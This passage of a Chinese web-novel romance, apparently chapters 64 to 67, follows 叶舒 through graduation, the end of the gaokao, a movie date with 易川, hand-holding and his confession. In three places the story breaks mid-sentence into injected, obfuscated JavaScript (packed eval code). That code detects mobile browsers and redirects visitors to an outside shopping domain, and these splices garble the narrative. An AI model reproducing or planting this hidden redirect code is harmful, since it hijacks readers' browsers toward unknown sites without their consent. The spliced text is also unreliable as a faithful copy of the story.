人群聚集，天气又闷热，难免让人感觉喘不上气。 汗随之落下，可活动的空间狭小，叶舒想找纸巾的动作都有些手足无措。 肩膀处被人点了点。 叶舒仰头，发现叶珩就站在自己身后一排。 叶珩手里拿着一包纸巾，朝她咧嘴一笑，露出小虎牙，琥珀色的瞳孔在阳光下熠熠生辉。 “你在这，好巧。”叶舒伸手接过，向他道谢，“谢谢。” “不必谢我，易川给的。”叶珩撇清自己关系，一脸玩味地冲身旁的人弯唇。 叶舒这才顺着他的目光，发现了一旁的易川。 男生鬓边出了汗，晶莹的汗顺着下颚的线条流淌，看着竟有些性感。易川没有回应叶珩的调侃，而是盯着她。他面色如常，但目光却流露出些许温柔。 叶舒浑身像过电了一般，有些愣神在原地，须臾才回过神，呆呆地弯了弯嘴角，抽了张纸，将剩余的纸巾掠过叶珩，直接递还给易川。 叶舒：“你，也擦擦吧。” 叶珩看着两人，忽然对易川说：“我跟你换个位置。” 易川瞥了他一眼，还没等他拒绝，叶珩便拉着易川的衣角，在狭小的位置完成了“高难度”换位。 “你们干嘛呢！”站台架下的摄影师朝9班的位置吼道，“不要动！快点站好就能快点开拍！” “被迫挨骂”的易川无语地斜了眼身旁憋着笑的叶珩。 好在，两人动作得快，摄影师并没有发现两人换了位置。 叶舒向后看，便发现原本站在自己身后的叶珩不见了。 取而代之的是—— 易川。 叶舒仅是余光扫了眼两人的神色，便知道发生了什么。 说起来，原世界拍毕业合影的时候，叶舒与易川的位置距离也很近，只隔着一人。 那时候，叶舒站上站台架后，意外地与易川对上了视线，反应过来后便飞快地移开了视线。 距离虽近，但她对那人早已没有了怦然心动，对视只觉得尴尬。 想到这，她兀自笑了笑，回头看向远处。 “好了，大家站好，忍一下。”摄影师拿着喇叭安抚道，“大家笑起来，看镜头噢！开拍了！3，2，1——” ...... 六月八日。 在高考这两日，结束了连着几日的雨天。瓦蓝的天空悬着烈日，消了连绵几日的黏腻感，空调外机轰轰地响着。手臂黏着卷子，伴着蝉鸣，最后一次考试的结束铃声也响起。 叶舒随着人流回到自己教室，见楼下已经开始堆满了从楼上丢下来的雪花般的试卷与书籍，楼内不时还传出阵阵欢呼，高喊着“考完了毕业咯”，即使看不见人影，也能听出其欣喜。 叶舒走进教室，便见教室许多人在收拾东西，也有一部分人围着，旁敲侧击地问他人刚刚高考试题的答案。 “叶舒！”见叶舒出现，一男生不禁开口问询，“你最后一题写出来没？” 叶舒浅笑，摇了摇头说：“考完我就不想想这些了。” 她没说明自己是否写出来，而这摇头到底什么意思就留给他们猜。 “你第16题答案写的什么？”男生不死心地问。 叶舒还是礼貌性的微笑，将书包放回桌上，开始收东西：“考完我就不想这些了，而且只会影响大家心情。我不太想回答。” 见叶舒不愿开口，男生只得作罢，讪讪地回座位收拾东西。 叶舒将所有不再需要的书放到指定的回收位置后返回教室。 一路上，雪白和灰色的试卷铺了一地，不时还得躲避搬着一摞书的学生。栏杆外，和煦的日光照在郁郁葱葱的树植上，叶影婆娑，叶子与叶子中间陆续有笑着的学生穿过，屏息过滤掉热闹的人声，能听见不止的蝉鸣。 过去那次毕业，叶舒忙着收拾东西回家，炎热的天气下热得满身是汗，没有空注意别的，也没有毕业的实感，上大学后才后知后觉。 如今重归旧时，才有心思再一次好好看看这陪了她好几年的校园。 静海高中，又要说一次再见了。 ——不是跟你说，而是跟我自己说。 叶舒回到教室，将自己的东西放进书包，准备回宿舍收拾寝室的行李。 室外传来一阵奔跑的脚步声。 叶舒朝屋外走去，恰好与来人迎面遇上。 “！！” 叶舒忙后退几步，皱着眉抬头，看清眼前人的瞬间愣住。 易川？ 男生额角流着晶莹的汗，微微喘着气，胸膛浅浅起伏着。 看见叶舒，他暗色的瞳孔亮了亮。 “你......”叶舒半晌说不出话。 易川是借读生，高考得回原校籍考试。虽说易川原籍学校距离静海高中不算远，可毕竟也有几条街的距离，考试才刚结束不久，就算跑回来的，这样太快了吧...... “你还在。”易川勾唇笑了笑，“挺巧。” 叶舒：“你怎么那么快就回来了？” 易川随意地擦了擦额头的汗，“急着回来收拾东西。” “噢——那你慢慢收拾，我先走了。” 说罢，叶舒便绕开他，准备离开。 下一秒，又被易川扯着书包带拉回去。 易川垂着眼睛看她：“你去哪？” “我收拾完了，回宿舍收拾。”叶舒觉得莫名其妙，整了整被他弄乱的包带，径直出了门。 易川追上她，跟在她身边。 叶舒：“你不收拾东西吗？” 易川眼尾扫了眼她，散漫扬眉：“回宿舍收拾东西啊。” “你教室的书收拾完了？” “早收拾完了。”易川语气懒懒道，“前几天回家的时候就收拾完了。” 叶舒恍然，他高考前晚就离开了，没留宿学校，毕竟考场不在静海高中。 去宿舍的路上，许多学生和家长搬着东西从两人身边匆匆经过。 “说起来，你爸爸来静海高中接你，还是去你考场学校接你？”叶舒问易川。 易川在叶舒身后，把玩着叶舒书包的玩偶挂坠，闻言收回手，“来这。不过今天不是我爸来接。” 叶舒：“你妈妈？” 易川眉头微不可察地皱了皱，答道：“今天是司机来接。” 叶舒看着似乎有些抗拒提这事的易川，没多问下去。 想也不用想，肯定是他家里人有事，来不了。 “你怎么不问问我考得怎么样？”易川避着拥挤的人流问她。 叶舒：“有什么好问的？” 易川沉默了片刻，道：“我以为，你会挺关心的。” “毕竟以前考完试，你都会问几句。” 易川补充了一句。 以前是为了更了解易川的实时成绩，估计自己攻略的成功率。 现在高考结束，所有东西也以既定，在易川成功选择院校之前，她也没什么可以做的了，更没必要问什么。 叶舒：“考都考完了，问了只会扫兴，也改变不了什么。” 身后半晌都没传来说话声。 夏日的风拂面，叶舒低头看着自己与易川的鞋一前一后，步伐同频，身后的那双黑白相间的球鞋亦步亦趋地跟着自己。 想到今后便不能再在校园内看见易川，甚至有一段时间可能会见不到他，应该会有些不习惯吧。 那若是攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她不自在地看向别处，眼神胡乱地到处瞥，最后落在石板砖上。 易川：“那你......” 叶舒见眼前的人向自己伸出了手，那双修长白皙的手即将触碰到自己时，叶舒突然说：“我爸来了。” “？” 易川被她忽然的话弄疑惑。 叶舒一本正经地说：“我爸在宿舍楼下，不能让他看见我们。” 易川被她这副模样逗笑，打趣她：“你家教那么严？他会误会我们？” 叶舒：“我们不本来就是他会误会的关系吗？” 听见这话，易川怔了一瞬，片刻，移开了视线，耳朵爬上了些许红色。 叶舒趁着他有片刻的愣神，忙说：“我先回去收东西了，你也去收东西吧。” 少女飞快转身，快到长长的马尾辫飞扬起，扫过男生的小臂，并在空气中留下一股淡淡的发香。 “叶舒。” 易川出声叫住那个即将远去的背影。 “嗯？” 叶舒转了个圈，在一众行动的人中，伫立着的她格外显眼。 随着年岁的增长，叶舒本就略显成熟的脸稚气几乎全脱，沉稳的性格使得她的气质更为清雅独特，那双微微上挑的眼睛稍显勾人。 两人穿过人流，同时向对方走近。 易川低下眼眸，问她：“你说我可以找你看志愿，还算数吗？” “当然。”叶舒眼睛一亮，很快回答。 她还怕易川忘记这事，万一他父母又忙起来，易川没经验自己填错了反而不利。 还是得她看着，她才放心。 “只要你别忘了跟我说就行。”叶舒做出了个手机的手势，“走了，晚上联系。” 女生眼尾噙着笑，朝男生摆了摆手离开。 65. 约会 返校拿学生证的日子，是个极好的艳阳天。 六月的盛夏，烈阳当空，天气虽热，但每位学生的脸上都洋溢着极灿烂的笑容。 叶舒手里拿着红色的毕业证和一卷极长的年级毕业照，怀里还抱着一本厚重的毕业照，正准备脱下背包，将东西收进包里。 “你看，我俩在这！好小一个！” 凌熙清脆的声音在耳畔边响起，还拉着叶舒的手晃呀晃。 叶舒侧头，便晃了眼。 阳光照在凌熙白金色的头发上，熠熠生辉，灿金色下笑容更加灿烂。 她这新发型得到了许多同学的关注，同班的同学还纷纷对她不吝夸赞。 叶舒打趣她道：“你现在白得像在发光。” “那看来我这头染得很成功。”凌熙自满一笑，随后又拽了拽叶舒，“你看这个年级照——” 叶舒看向她手里摊开的年级照。 年级人数多，全部聚在一张照片上，只见蓝白色块间无数张脸，一时间根本分不清重点。 凌熙指着一处，叶舒顺着她的指尖看去，她和凌熙的脸靠在一块。 两名女生朝镜头抿唇微笑着，笑起来的两颊同步，一名恬静，一名活泼，皆带着独有的学生气青春的美感。 拿完毕业证和毕业照后，毕业生们便可以自行离开。 班内自发组织了聚餐，一行人便前往餐厅。 玻璃窗外的天，从鱼肚白逐渐变暗，耳边的碗筷声减弱，取而代之的是热闹的欢笑声，闹哄哄的氛围下，开着极低冷气的室内也逐渐有些暖意。 叶舒听着同学笑谈的八卦，桌边的手机突然抖动了一下。 她拿起，消息框内出现易川的名字。 【你们聚餐完了吗】 叶舒环顾四周，见大家虽然都吃饱了，但合照的合照，聊天的聊天，几乎都没有离席的意思。 叶舒回复：【吃完了，但还没结束。】 易川班级也在聚餐，定的也是中心区的餐厅，不过叶舒不知道在哪。 嘀嘀。 手机那头又有信息。 易川：【你们在哪吃】 叶舒看了看桌上餐厅的宣传，将餐厅名发过去。 “他不会要来找你吧？” 凌熙忽然出现，看着她的手机界面。 叶舒下意识摁灭手机，莫名地，耳朵微微发热，稍显心虚。 凌熙歉意地眨了眨眼：“不小心看到的，没看清，我啥也没看见~” 叶舒莞尔，她只是下意识举动，刚刚的聊天本没什么，她倒是不介意这些。 不过凌熙这话倒是提醒了他，易川不会真要来吧...... 她赶忙给易川发信息：【不过我过会就要走了，和家里说了，不会太晚回去。】 她本来也没打算久留，过会便要离开坐地铁回去。 易川那头没回，不知道看没看到。 不过，也可能是在和他们班同学合照聊天什么的，就像她们班男生现在一样——一群人商量着待会去哪个棋牌室打桌球...... 又聊了一会儿，一群女生便打算转移阵地，去附近逛逛。 叶舒不舍地拒绝，借此与众人分道扬镳。 她独自乘电梯下楼，点开手机导航，准备走去地铁站。 旋转门外，浓郁的夜色下，不远处的灯光五光十色，像是夜里的点点繁星。 叶舒从旋转门出去，左边正好驶来一辆的士。 她瞥了一眼，便专注手里的导航，左右转圈注意着导航的方标方向。 “怎么在原地转圈？” 熟悉的声音从头顶响起。 叶舒呆呆地抬起头，便望见一双噙满笑意的深邃眼眸。 的士离开，驶向远处，引擎发出隐隐的轰鸣声。 叶舒怔然地看着眼前的人。 易川。 他果然来了。 头顶酒店暖光灯照着两人，地上出现了两道斜斜的影子。 眼前的人逆着光，发梢处泛着莹莹的光，生的好看的五官在灯光下更显俊朗。 仅仅也就一天时间，叶舒忽然就觉得眼前的人好像长大了。 已经不能说是小男生了。 就是两人穿着校服，在大厦门口干站着，显得有些格格不入。 不知怎么，叶舒感到有些面热，不知说什么，只好开了个笨笨的头：“你怎么来了？” 易川没正面回答这问题。 “在那没事干。” 闻言，叶舒狐疑地看了他一眼。 他镇定自若，说起了别的事：“要不要看电影？” “看电影？”叶舒被这突然提起的话题弄得一头雾水。 “你喜欢看的那个推理动漫电影今天出首映。”易川点开手机，将电影选票界面给她看，“这附近就有，听说首映送周边。” “送周边？！” 听见这话，叶舒来了劲。 她确实知道最近喜欢的那场电影要上映了，只是自己并没有参与首映的执念，便想着找机会再去。 没想到竟有周边这回事。 易川看了看手机：“只有CGV影城有，你家附近好像没有，但这附近刚好有一家。” 叶舒纠结起来：“可我该回家了......” 看完电影回到家肯定晚了，父母一般不希望她晚回家，而且她还说了吃完饭便会直接回去...... “没事，那回家吧。”易川收起手机，“我送你回去。” 他低头看了看两人之间，不自然地停留了一秒，随后不动声色地又自若地朝前走。 叶舒下意识地也低头看，看了看手又看了看脚，地面空空如也，她的衣着也和往常一样。 有什么不对吗？ 她跟上他，想想还有些不甘。 不过就是晚回去些，就算真晚回了，父母无非就是不痛不痒地说几句，也不会骂她。 这可是有周边的首映欸！ “要不——” 叶舒拉上前面人的书包背带，易川被迫停下脚步。 他回头，便看见叶舒难得软了语气说： “要不我还是去吧？” 易川：“......” 叶舒看见眼前的男生怔了一会，随后扑哧一笑。 叶舒垂下眼睛，不想与他对视。 ——笑笑笑，有什么好笑的。 “那走吧。” 男生温柔磁性的声音顺着晚风拂过耳畔，虽说夏夜温度有些闷闷的，但听见这三个字，却莫名让人感觉泡进了秋日的湖水，沁凉舒适。 “现在还能买到票吗？” “有票。买了。” 易川言简意赅。 叶舒疑惑：“你早就买了？那我要是不看，咋办？” “自己去看。”易川头也没回，无所谓地回，“拿周边。” “给我吗？” 不知怎的，叶舒鬼使神差便脱口而出这话。 说出口就后悔了。 好自恋的话...... 果然，易川别有深意地回头瞧了她一眼，眼底满是调笑的意味。 “对，给你。” 虽说脸上是调侃的笑意，语气却有些温柔。 叶舒起了一身鸡皮疙瘩。 这人还有这一面？ 莫名地，她想起易川的星座——射手座。 好像看过一篇文章，说射手座崇尚自由，不愿被拘束，但一旦喜欢上人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104750|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会主动出击。 难道就是这样？ 叶舒看着男生的背影，发尾服帖柔顺地贴着他的后脑勺，看起来很好摸。 “易川。”叶舒喊他。 “嗯？” “你要不正常讲话吧，你这样说话有点瘆人。” 易川：...... “走了。”易川声音立刻变回原来常听的那样，还带着点闷闷的感觉，八成是觉得她这话很不识好歹。 不过这样听着倒是舒坦了不少。 ...... 电影院离这不远，走路就能到，两人在指引下如愿以偿地拿到了周边。 叶舒看着周边，正打算拿出手机拍照留念，便听见一旁的易川问她：“要吃东西吗？” 易川指着一旁的食品区。 “啊，行。”叶舒下意识脱口而出。 虽说刚刚吃完饭，但再吃个爆米花也可以。 而且万一到时候看电影尴尬，应该也可以吃东西缓解吧...... 浓郁香甜的爆米花味弥漫在影院大厅，吸引着无数人前往，前台前排着不少人，不少是男女结伴而行，手挽着手，一看便是情侣。 两张明显学生气的脸站在这些成年人中，相比起前后紧紧贴近、手挽手的男女，叶舒和易川中间像隔了条银河，将前后的间距成功拉开。 叶舒瞥了眼易川，他面无表情地看着前头的队伍，看不出在想什么。 “你想吃哪个套餐？”易川侧头问她。 叶舒看了看头上推荐的菜单，说：“就套餐A吧。” 她说出口才发现，套餐A后面跟着的是情侣套餐四个字。 叶舒：...... ——这年头双人餐就不能叫双人餐吗？还情侣套餐，闺蜜不能吃双人餐吗？ 不过易川没什么反应，只是微微点了点头。 叶舒愈发发现自己今天不对劲，而且她一直在被这种“不对劲”困扰，就像个第一次谈恋爱的青春期小女生。 虽然她就是第一次谈恋爱...... 但是她觉得自己现在就像早年言情文学中，被“小混混”男主忽悠出来的约会“好学生”女主，天真又纯情，一点点接触便在脑海中遐想连篇。 是只有她这样还是所有人都会这样...... 她移开视线，试图让自己思绪别总停在易川还有这些乱七八糟的事上，随后便看见前头的情侣在咬耳朵，随后男方吧唧亲了口女生的脸颊。 ？！！！ 叶舒瞪大了双眼。 喂，还在排队呢，这么多人呢！ 叶舒根本不敢看易川，只见身旁的人手动了动，似乎要朝她这方向来。 她莫名心跳加快，然后假装很忙地侧身看手机，还画蛇添足地清了清嗓子。 不过身旁的人并没有再动作，刚刚只是她多心的错觉。 好像更有一种此地无银三百两的感觉了...... 叶舒偷瞄了易川一眼，随后很快收回视线。 男生还是冷着脸看着面前的队伍，单纯地在排队，可能排得稍微有些不耐烦，除此之外，没别的情绪。 终于轮到他们点餐。 易川：“要套餐A。” 收银员：“套餐A69元。” 叶舒下意识想掏手机，便看见易川伸出了手，然后嘀的一声，扫码成功。 他接过服务员的爆米花，扫了叶舒一眼，说：“走吧。” 叶舒微抿了抿唇。 难道这就是有“男朋友”的感觉吗？ 虽说之前易川也请过客，先付过款，但当这场景被定义成约会性质后，感觉哪哪都变味了。 好奇怪。 但又有些奇妙。 66. 牵手 检票时间到，两人随着人流入场。 来看首映的大都是年轻人，也有许多学生，不过他们都穿的是常服，自己的衣服，只有她与易川穿的是校服，在等验票的队伍里显得格格不入。 越看越像逃课出来看电影的小情侣...... 两人的座位靠后，不算黄金位置。 坐下后，易川便解释说买票时黄金位置都满了，所以买了黄金位置的稍后的位置。 叶舒倒是不介意这些：“我喜欢坐后排。不会像前排畸变，而且有种俯瞰的感觉。” 昏暗灯光下，易川唇角翘起，笑了笑。 随后灯光完全暗下，电影开幕。 其实叶舒不怎么到影院看电影，更没和男生看过电影，电影开始的20分钟，她都有些局促。 男生的身躯就在近在咫尺的地方，明明之前在校与他曾为同桌，但不知为何，一起坐在这相邻的电影座位上怎么都不自在。她的腿时不时触碰到男生的膝盖，又默默收回，循环几次，她就直接侧着坐，十分不自在。 易川似乎也发现了这点，斜侧着坐，腿尽量不碰到她。 电影是外语加中文字幕，但因为思绪飘忽，影片有一段她都没仔细看。 直到听到众人因为影片的梗不约而同哄笑起来，身侧的人也轻笑了一声，叶舒着这才用余光瞥了眼身旁的人。 他正认真地看着影片，似乎并没有什么影响。 显得她真的好“小题大做”。 不过也不能怪她吧，毕竟叶舒还真没谈过恋爱，特别还是相处了三年的“死对头”突然就变成谈恋爱的关系...... 特别是，易川还是她曾经喜欢的人。 这种身份突然的变化真的让人一时难以适应。 电影播到高潮情节时，叶舒也早就没了一开始的紧张，手伸向微耸起的爆米花堆。 没摸到凹凸的质感，只摸到有些滑溜的肌肤。 叶舒惊得差点要站起来，愕然地看向身边的人。 易川手收了回去，对上叶舒的视线，他好像也有些不好意思，移开了目光。 见叶舒没再碰爆米花，他主动拿起几颗爆米花，默默递到叶舒手里。 叶舒看着手里的爆米花，不知所措。 还没等她缓过神来，便听见易川压低音量的气音。 “怎么不吃？嫌弃我？” “我不......” “我洗手了。” 昏暗环境下，虽说有大荧幕的光，但叶舒还是看不清易川的微表情，但却听出那气音背后隐隐有些委屈。 叶舒没说话，立刻将手中的爆米花塞进嘴里，以此证明自己不是介意他碰过。 “没嫌弃你。”叶舒也用气音回他。 她嘴里含着东西，话有些含糊不清。 但易川听清了。 听得很清楚。 …… 两个小时的电影说久不久，荧幕由暗变亮，播着最后的彩蛋。 直到影片彻底结束，场内的光又由亮变暗。 众人四散离去，易川的位子靠外，叶舒跟在易川身后，小步小步地挪动离开。 来看首映的人很多，厅内的位置全坐满了。后排的人挤在台阶上方，等着前排的人缓缓疏散离去。黑暗中，因为看不清路况，不宽阔的台阶也变得陡峭，人挤着人，无法前进也不能后退，难以动作。 被人群挤着，近乎无法动弹，细碎的人声就在耳边，叶舒踮着脚，尽量不挤着他人，手无意识地伸向了易川的后背，因为没有借力支点，她只好轻轻捏着他衣服的布料，不让自己扑倒在他身上。 接触到男生宽阔硬朗的后背时，叶舒明显感觉到手下的人顿了一下。 好像是不太好...... 叶舒默默收回手。 从上往下看，前头的人群疏散了不少，队伍流动变快速。 后排的人看见这情形，也逐渐骚动起来，作势要离开。 场面变得有些混乱，叶舒不想跟他们争先恐后，躲到边缘，但还是被人流冲击，撞上易川的背。 “啊......”叶舒的额头恰好撞在易川的一块肩胛骨上，有些疼，不由得出了声。 面前的背影逐渐转过身来，叶舒感觉得到易川的视线落在了自己身上了。 “......” 下个瞬间，手上感觉到一阵温柔，随后掌心逐渐温热填满、包裹。 “……？！” 叶舒懵圈地低下头，看着昏暗里相交的两只手。 牵手了。 待到叶舒反应过来时，她已经被易川在拥挤地人流中一步一步拉着下了台阶。 在空调冷气开的很足的影厅里，叶舒的手微凉，却仅在短短几秒中内，手心被那温热感染，逐渐升温、变暖。 曾经日日观察的指节分明的手正包裹着自己的手，男生的指尖若有似无地拂过自己的指腹和掌心，带起一阵痒意。 叶舒缩了缩脖子，感觉脖颈处连着耳朵后方都变得格外燥热。 本以为下了台阶，易川便会松开她的手。 没想到出了影院，那双温热的手还是紧紧地握着自己的手，握到掌心都有了些汗意。 叶舒不适应，尝试性地动了动手指，手心的手顿了顿，随后一点一点地从她手掌中抽离。 抽离的那一瞬间，叶舒手心终于得以呼吸，好不容易可以松懈一瞬，她默默松了口气，随后抬眼对上易川的目光。 他正在看着她。 下意识地，她有些不好意思，还有些歉仄。 特别是易川目光下移，视线落在了她的手上，虽说只有一瞬，但她还是注意到了。 垂下的眼睫里好像暗藏一丝幽怨。 他是不是觉得自己糊弄他、不喜欢他，所以不想和他牵手啊...... 而且她答应他了，现在已经算是在一起了，是可以牵手了...... 易川没说什么，只是停下来将自己的那份周边放到她手里，然后问她：“还有想去的地方吗？” 叶舒看了看时间，得快点回家了，虽说和妈妈说了晚些回去，但算上回程时间，到家也要12点了。 “暂时没有了，有点晚了，我该回去了。”叶舒说。 “那我送你回去。”易川说着，便领着她朝门口走去，准备叫车。 “啊？你跟我回去吗？” 叶舒说完才发现，自己的话怪怪的，有点歧义。 易川也没说送她到哪，她便用了“跟她回去”这种话，倒像是已经以为易川会把自己送到家门口似的。 但莫名地，叶舒就是觉得易川干得出这种事。 “对。”易川语气很是无谓，还抽空侧头冲她勾了勾唇，有些得意，“反正我又没‘门禁’。” “怎么？又想赶我走？”易川没回头，语气较为轻快地调侃道。 叶舒：“......” 果然就是在意了。还用了“又”这个字眼。 “倒也不是。” 叶舒轻声开口，音量不大，但很清晰。 前头的人身形一滞，大概是在反应她这话内里的涵义。 不过叶舒没给他反应机会，直接大步上前—— 牵住了他的手。 手穿过他的掌心，与他手指相贴。 随后握住。 易川愣怔回头，正巧与叶舒的眼睛对视上。 叶舒那双上挑的眼睛直勾勾地看着他，随后她笑了，眼睛弯了弯，冲他说： “走吧。” 相贴的手愈渐燥热，这热意逐渐穿到四肢百骸，易川忙侧过头，耳朵却红得像在滴血。 叶舒看着他的耳朵，不免想笑。 轻笑出声之际，相牵的那只手感到一紧。 牵着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149352|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那只手握得更紧了些，将她的手牢牢地锁在他的手掌心里。 ...... 两人坐上了网约车。 叶舒看着面前的车座眨了眨眼，随后余光悄悄瞥了眼一旁的易川，但迅速又收回了眼。 坐立不安。 “......” 叶舒试探性清了清嗓子，弄出了点声音，试图让两人不那么尴尬。 易川也用余光看了眼身旁的人，迅速又移开目光，状作若无其事。 “咳......那个......”叶舒深吸了好几口气，才敢开口，“要、要不松手？” 视线下移，两人的手紧紧相握，严丝合缝。 易川将两人相握的手落在他的膝盖上，叶舒想动弹都动弹不得。 易川闻声，身形一滞，但手是一点没松。 “不。”他拒绝道，语气间竟还有些孩子气的不满。 叶舒倒也不是故意驳他面子，只是—— 牵得太紧了，都要出手汗了...... “松一会儿，我缓会再牵。”叶舒主动说，语气温柔，像是在哄人。 易川感觉叶舒这话有几分小鸟依人的意味，像在撒娇。他这才动了动眉毛，压住想翘起的嘴角，手上渐渐松了力气。 见他手松开，叶舒终于沉下了一直紧张的肩，动了动手指，松乏了些许。 易川的手指还停留在自己身边，叶舒见状，立刻摊开手掌心，与他的手心相对，示意她缓好了。 易川低着头看着她的手，刘海微微遮挡住他的眉骨，但是依旧看出他的眉眼弯了弯，轻笑了下。 随后，他再一次握上她的手。 十指相扣。 大拇指扣着她的拇指，轻轻摩挲着。 叶舒虽还有些不习惯，但感受到手心传来的温热，默默莞尔，心里的愉悦完全藏不住。 车窗外的灯光流光溢彩，流动成彩线，看得人眼花缭乱。 也不知过了多久，窗外的景色逐渐变得熟悉。 快到家了。 “我们就在这下吧。”叶舒侧身，倾向易川的耳朵小声说。 叶舒说完后发现，易川的耳朵肉眼可见立刻红了。 叶舒：？ 难道她太主动了……？ 叶舒立刻离远了易川一些。 易川注意到了叶舒的动作，微微皱眉，略有不快但没说什么，转头向司机说：“您好，麻烦就在这靠边下吧。” ...... 下了车，车子开过，夜间的风呼啸。 叶舒默默跟在易川后面。 易川见状，伸手将叶舒的手拉上。 他主动问：“怎么在这就下，怕你家人看见？” 手指勾着她的手心，像在挑逗。 叶舒实话实说：“在这下就可以一起走回去，多呆一会。” 叶舒说得直白，易川倒有些不习惯了，小声嗯了一声，默默将叶舒的手拉紧了些。 “那，我们这算，在一起了吗？” 易川的声音不大，但在无人的街道上格外清晰。 “算、吗？” 叶舒用疑惑的口吻说出这两个音节，她好奇易川听见这话的反应，但是自己也有些迷茫，自己和他现在说在一起又有些怪异，说没在一起好像也不太对劲。 像在搞暧昧，但两人之间又有一个承诺在。 反正怪怪的。 易川明显不悦了，皱着眉冲她说：“那我们这算什么？” 他还握着她的手，将两人相握的手抬起，在叶舒面前晃了晃。 男孩英挺的鼻梁上一双狭长深邃的眼睛认真盯着她，在柔和的暖黄光的路灯下，显得有些深情，与平日很是不同。 叶舒看着路灯下他认真的脸，一时说不出话。 他是不是较真了。 好像“玩脱”了...... 67. 我喜欢你 叶舒刚想开口解释，易川就先开了口。 他舔了舔唇，像是有些不好意思，“你之前不是答应过......我。” “确实、但是——”叶舒也莫名不好意思起来，“隔了好长一段时间了，总觉得好像什么也没说就......感觉不是很正式，忽然就......” 叶舒也变得语无伦次起来。 两个人都忽然变得扭捏，在街道中央。 好在晚上没什么人，不然两人这模样看着一定特滑稽。 易川听后，适才有些羞赧无措的神色逐渐消失，取而代之的是一瞬不瞬地盯着她的坚定神色，像是下定了某种决心。 叶舒被他看得发懵，疑惑之际，便听到了面前的人说了那句。 那句她一直心心念念的话。 “叶舒。” “我喜欢你。” 闻言，叶舒怔在原地。 此时此刻，她才知道差的那东西究竟是什么。 毕业后，莫名的怪异就一直萦绕在两人之间，但叶舒没在意，也不知道这怪异从何而来，以为是自己与易川都没有经验、太过慢热被动的缘故。 那种怪异一直都很抽象。 直到今天，这一秒，这个“怪异”才被具象化。 并且，就此消失。 叶舒看着眼前的男生，看着他的目光紧紧地攫着自己，然后认真地说出了那句话，心中漾起了暖意，嘴角不由自主地想上扬。 可是，莫名地，下一瞬，她的脑海中莫名浮现出原世界易川拒绝她时的模样。 本以为自己已经不再会对易川动心，可惜又栽在了他身上。 可是，年少时暗恋的人，时隔多年，对自己说“我喜欢你”，真的有人能无动于衷吗？ 这怕是很多人都幻想过的景象吧？ 没想到，有朝一日竟真的实现了。 她不会是唯一一个在一个男孩身上栽两次的蠢人吧？ 叶舒扯了扯嘴角，有些自嘲地轻笑一声。 她抬眼，望向易川，易川的漆黑透亮的瞳孔中映着两道迷你的她的身影。 叶舒可耻地发现，自己完全不能对他说不。 她一直觉得自己很理智，可是如今，自己却别扭得慌，在这种别扭的情绪里纠结，怎么样都不开心。 “叶舒？” “嗯？”听到易川叫她，叶舒下意识嗯了一声。 “我喜欢你。”易川松开了牵着叶舒的手，看着她又郑重其事地重复了一遍，“现在呢？你......怎么想的？” 叶舒发现，易川说到后面，唇瓣竟然有些颤抖。 她适才矛盾的心理忽然间——就在那么一刹那——烟消云散了。 他是易川。 是喜欢她的易川。 是对她好的易川。 是这个世界的易川，才不是那个易川呢。 把这些想通，刚刚的纠结都变得有些可笑。 明明这么简单的问题，她竟然还把它想得那么复杂。 不论怎么样，选自己开心的选择才对。 至少她能清楚地感受到，她不想拒绝易川，也想答应易川。 她被半分钟前郁结的自己逗笑。 易川看她笑了，怔了怔，也弯了弯唇，松了口气。 “你——” “好。” 叶舒点了点头。 下一秒，易川抱住了她。 在夜间昏黄无人的街道上，晚风呼啸而过，两人就这么旁若无人地紧紧相拥。 叶舒当下愣住了，随后下意识地想推开易川却推不开。 “易川......有人......”叶舒侧着头靠在他怀中，声音闷闷的。 男生身上沉木调的味道环绕着自己，胸膛深处传来有规律的鼓鼓的心跳声，听得她脸热。 “抱一会。”易川下巴轻轻地抵在女生的头上，女生发间的香气随着呼吸萦绕在鼻间。 他当然不止想抱一会。 如果可以，能一直抱着就好了。 叶舒靠在他的怀里，他的声音从喉结处震颤至胸膛，再传递给叶舒 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叶舒：当然可以啦，前面路口就她小区大门了，哪里不可以了！ “这么近有什么不可以的，”她哭笑不得，“你现在叫车，我看着你走。” 闻言，易川嘴角上扬，听话地掏出手机打车。 本以为附近不好打车，没想到竟有司机很快便接单了，五分钟不到便要抵达二人所处的位置。 易川的心情明显急转直下，对这太快速到来的车不太满意。 叶舒只是笑笑，推他上车。 “我走了。”易川开车门后，又回头看向叶舒。 易川的手还牵着她的，直至上车前两人的手才依依不舍地一根一根分离。 “下次见。”叶舒对他承诺。 男生已坐进后座，漆黑的车内，她看不见男生的五官。 但她知道。 他在对自己笑。